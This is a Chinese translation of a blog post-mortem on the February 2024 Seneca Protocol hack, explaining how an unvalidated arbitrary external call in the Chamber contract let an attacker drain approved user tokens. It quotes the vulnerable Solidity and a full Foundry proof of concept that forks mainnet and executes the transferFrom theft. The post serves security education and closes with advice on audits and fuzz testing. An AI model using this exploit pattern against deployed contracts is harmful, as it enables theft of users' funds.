Seneca协议在2024年2月28日遭遇黑客攻击,损失约600万美元。攻击的原因是Chamber合约在执行外部调用时缺乏输入验证,攻击者借此机会调用任意合约,转移用户的钱包资产。该事件揭示了智能合约安全性的重要性,尤其是在审计和全面测试方面。
Seneca Protocol 是一个去中心化金融产品,遭受了约 600 万美元的攻击。以下是具体发生的情况、概念验证以及如何防范。
在 2024 年 2 月 28 日,Seneca Protocol 被攻击,损失约 600 万美元。 攻击的原因是 Chamber 合约在用户资金上有 approval
权限,同时在 Chamber
合约中存在 外部调用。
在代码中,外部调用被访问到了 Chamber::performOperations
这个外部函数内。这使得攻击者可以决定调用哪个内部函数。具体而言,这允许攻击者调用 Chamber::_call
,攻击者可以对任何合约调用任何函数,因为它接受任意 callData
和任意 callee
地址。因此,攻击者能够执行 transferFrom()
并 将代币从用户的钱包转移到攻击者的地址。
这一攻击直接导致了用户的钱包中的资金被盗,而不是从用户直接存入 Seneca 的资金中被盗。
Seneca Protocol 是一个去中心化金融(DeFi)抵押债务头寸(CDP)协议,用于产生收益的资产。 它允许用户用产生收益的资产作为抵押借入 senUSD——一种与 1 美元Hook的稳定币,并利用收益。
发生这次攻击的原因是 Chamber 合约的漏洞,这是一个抵押债务头寸工厂。Chamber 合约允许用户用抵押代币借入 $senUSD,同时在其抵押上赚取固定收益。
攻击者通过利用在调用 Chamber::performOperations
时 缺乏输入验证,盗取了总计约 600 万美元的资金:
攻击者的 performOperations 调用的 1/7
Chamber::performOperations
是一个 external
函数,允许调用者指定以下内容:
actions
:一个 int8
数组,用于指定要调用的目标函数。values
:一个 uint256
数组,用于指定随函数调用一起发送的 ETH 数量。data
:一个 bytes
数组,用于指定函数的参数。使用 30
作为 actions[0]
的值意味着 Chamber::performOperations
调用了内部函数 Chamber::_call
:
// 在 Constants.sol 中指定的常量
uint8 public constant OPERATION_CALL = 30;
// 在 performOperations() 中的 IF 语句
else if (action == Constants.OPERATION_CALL) {
(bytes memory returnData, uint8 returnValues) = _call(values[i], datas[i], value1, value2);
...
}
这使得攻击者可以 使用任意数据调用任何合约。攻击者能够将 callData
设置为代币的 transferFrom()
函数,指定 from
地址为用户的地址,to
地址为攻击者的 EOA 地址:
function _call(
uint256 value,
bytes memory data,
uint256 value1,
uint256 value2
) whenNotPaused internal returns (bytes memory, uint8) {
(address callee, bytes memory callData, bool useValue1, bool useValue2, uint8 returnValues) =
abi.decode(data, (address, bytes, bool, bool, uint8));
if (useValue1 && !useValue2) {
callData = abi.encodePacked(callData, value1);
} else if (!useValue1 && useValue2) {
callData = abi.encodePacked(callData, value2);
} else if (useValue1 && useValue2) {
callData = abi.encodePacked(callData, value1, value2);
}
require(!blacklisted[callee], "Chamber: can't call");
// 外部调用,调用者可以指定 callee、value 和 callData!
(bool success, bytes memory returnData) = callee.call{value: value}(callData);
require(success, "Chamber: call failed");
return (returnData, returnValues);
}
由于 msg.sender
为 Chamber 合约,攻击者能够转移资金到自己账户,因为 Chamber 合约的批准额度超过了总抵押金额。
来自 performOperations 调用的 transferFrom()
这意味着攻击者能够窃取超过 600 万美元的用户资金。在 Seneca 发出请求通过白帽请求返还大部分资金后,现在已追回 80% 的资金。
攻击者在攻击前的余额:0 PT-rsETH
用户在攻击前的余额:1385 PT-rsETH
攻击者在攻击后的余额:1385 PT-rsETH
用户在攻击后的余额:0 PT-rsETH
以下代码 https://github.com/ciaranightingale/seneca-poc,基于 Foundry 编写,是此次攻击的概念验证,并重现了上述攻击步骤:
contract SenecaPoC is Test {
IERC20 constant PTrsETH = IERC20(0xB05cABCd99cf9a73b19805edefC5f67CA5d1895E);
IChamber constant CHAMBER = IChamber(0x65c210c59B43EB68112b7a4f75C8393C36491F06);
function setUp() public {
vm.createSelectFork("eth", 19325936);
//vm.etch(address(MARKETS_IMPL), address(deployCode('MarketsView.sol')).code);
vm.label(address(CHAMBER), "Chamber");
}
function testPoc() public {
console.log("攻击者在攻击前的余额:", PTrsETH.balanceOf(0x94641c01a4937f2C8eF930580cF396142a2942DC)/1e18, "PT-rsETH");
console.log("用户在攻击前的余额:", PTrsETH.balanceOf(0x9CBF099ff424979439dFBa03F00B5961784c06ce)/1e18, "PT-rsETH");
// 传递给 performOperations 的参数
// 执行 OPERATION_CALL = 30 使 _call 被调用
uint8[] memory actions = new uint8[](1);
actions[0] = 30;
// 发送交易的未使用值
uint256[] memory values = new uint256[](1);
values[0] = 0;
// 创建 datas 数组参数(提供给调用的参数)
bytes[] memory datas = new bytes[](1);
// 指定 Chamber 合约调用 tranferFrom
bytes memory callData;
callData = abi.encodeWithSignature("transferFrom(address,address,uint256)", 0x9CBF099ff424979439dFBa03F00B5961784c06ce, 0x94641c01a4937f2C8eF930580cF396142a2942DC, 1385238431763437306795);
address callee = address(PTrsETH);
bool useValue1 = false;
bool useValue2 = false;
uint8 returnValues = 0;
bytes memory data = abi.encode(callee, callData, useValue1, useValue2, returnValues);
datas[0] = data;
CHAMBER.performOperations(actions, values, datas);
console.log("攻击者在攻击后的余额:", PTrsETH.balanceOf(0x94641c01a4937f2C8eF930580cF396142a2942DC)/1e18, "PT-rsETH");
console.log("用户在攻击后的余额:", PTrsETH.balanceOf(0x9CBF099ff424979439dFBa03F00B5961784c06ce)/1e18, "PT-rsETH");
}
}
-- 了解关于模糊不变量测试如何帮助发现这些漏洞的更多内容,请阅读 这篇文章 。
缺乏输入验证导致约 600 万美元的用户资金被盗。
对协议进行审计显著降低了此类攻击发生的概率。
- 原文链接: cyfrin.io/blog/seneca-at...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!